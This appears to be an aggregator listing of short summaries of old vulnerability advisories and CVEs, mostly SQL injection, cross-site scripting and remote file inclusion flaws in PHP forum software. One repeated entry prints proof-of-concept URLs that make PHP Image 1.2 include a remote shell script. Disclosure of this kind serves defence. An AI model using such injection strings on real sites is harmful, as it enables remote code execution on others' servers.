Myspace Clone Script Remote SQL Injection Vulnerability

No description provided by source. --==+================================================================================+==-- --==+ Myspace Clone Script SQL Injection Vulnerabilitys +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz &...

Unfixed XSS vulnerability at www.titanic-forum.de

Security researcher SeeD, has submitted on 11/12/2007 a cross-site-scripting XSS vulnerability affecting www.titanic-forum.de, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/12/2007. It is currently...

CVE-2007-5822

Direct static code injection vulnerability in forum.php in Ben Ng Scribe 0.2 and earlier allows remote attackers to inject arbitrary PHP code into a certain file in regged/ via the username parameter in a Register action, possibly related to the register function in forumfunctions.php...

Code injection

Direct static code injection vulnerability in forum.php in Ben Ng Scribe 0.2 and earlier allows remote attackers to inject arbitrary PHP code into a certain file in regged/ via the username parameter in a Register action, possibly related to the register function in forumfunctions.php...

CVE-2007-5823

CVE-2007-5823 affects Ben Ng Scribe 0.2 and earlier. The vulnerability is a directory traversal in forum.php, exploitable via the username parameter in a Register action, allowing remote attackers to create or overwrite arbitrary files by using .. (dot dot). The linked sources (NVD/NVD-processed ...

CVE-2007-5822

Direct static code injection vulnerability in forum.php in Ben Ng Scribe 0.2 and earlier allows remote attackers to inject arbitrary PHP code into a certain file in regged/ via the username parameter in a Register action, possibly related to the register function in forumfunctions.php...

Cross site scripting

Cross-site scripting XSS vulnerability in Services/Utilities/classes/class.ilUtil.php in ILIAS 3.8.3 and earlier allows remote attackers to inject arbitrary web script or HTML via attributes inside a domain-name string in the 1 mailing or 2 forum component, as demonstrated using the style and...

CVE-2007-5806: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in Services/Utilities/classes/class.ilUtil.php in ILIAS 3.8.3 and earlier allows remote attackers to inject arbitrary web script or HTML via attributes inside a domain-name string in the 1 mailing or 2 forum component, as demonstrated using the style and...

ilias-xss.txt

====================================================================== ILIAS Impact: Cross Site Scripting Status: patch available ------------------------------ Affected software description: ------------------------------ Application: ILIAS Version: = 3.8.3 Vendor: http://www.ilias.de Descriptio...

Multi-Forums Directory.PHP SQL注入漏洞

Multi-Forums是一款基于PHP的WEB应用程序。 Multi-Forums不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL攻击，获得敏感信息或操作数据库。 问题是由于'Directory.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，攻击者可以获得敏感信息或操作数据库。 Multi-Forums 目前没有详细解决方案提供： http://www.sebflipper.com/?page=scriptsmfp...

Simple Machines Forum Search.php SQL Injection

The remote host is running Simple Machines Forum SMF, an open source web forum application written in PHP. The version of Simple Machines Forum installed on the remote host fails to sanitize user input to the 'userspec' parameter used in conjunction with the 'search2' action to the 'index.php'...

mhfp-sql.txt

--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Multi Host...

CVE-2003-1454

Invision Power Services Invision Board 1.0 through 1.1.1, when a forum is password protected, stores the administrator password in a cookie in plaintext, which could allow remote attackers to gain access...

CVE-2007-5646: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in Sources/Search.php in Simple Machines Forum SMF 1.1.3, when MySQL 5 is used, allows remote attackers to execute arbitrary SQL commands via the userspec parameter in a search2 action to index.php...

phpimage-rfi.txt

PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php? http://site/xargcornerbottom.php?xarg=http://shell.php ?...

PHP Image 1.2 - Multiple Remote File Inclusions

PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php? http://site/xargcornerbottom.php?xarg=http://shell.php ?...

Vanilla Forum < 1.1.4 sortcategories.php CategoryID Parameter SQL Injection

Binary data 4258.prm...

Simple Machines Forum < 1.1.4 index.php SMFCookie218 Parameter SQL Injection

Binary data 4257.prm...

CVE-2003-1406

PHP remote file inclusion vulnerability in D-Forum 1.00 through 1.11 allows remote attackers to execute arbitrary PHP code via a URL in the 1 myheader parameter to header.php3 or 2 myfooter parameter to footer.php3...

CVE-2003-1406

The CVE covers a PHP remote file inclusion in D-Forum 1.00 through 1.11. Vulnerable components are the header.php3 and footer.php3 scripts, exploitable via the my_header or my_footer parameters to inject a URL and execute arbitrary PHP code on the server. This results in potential remote code exe...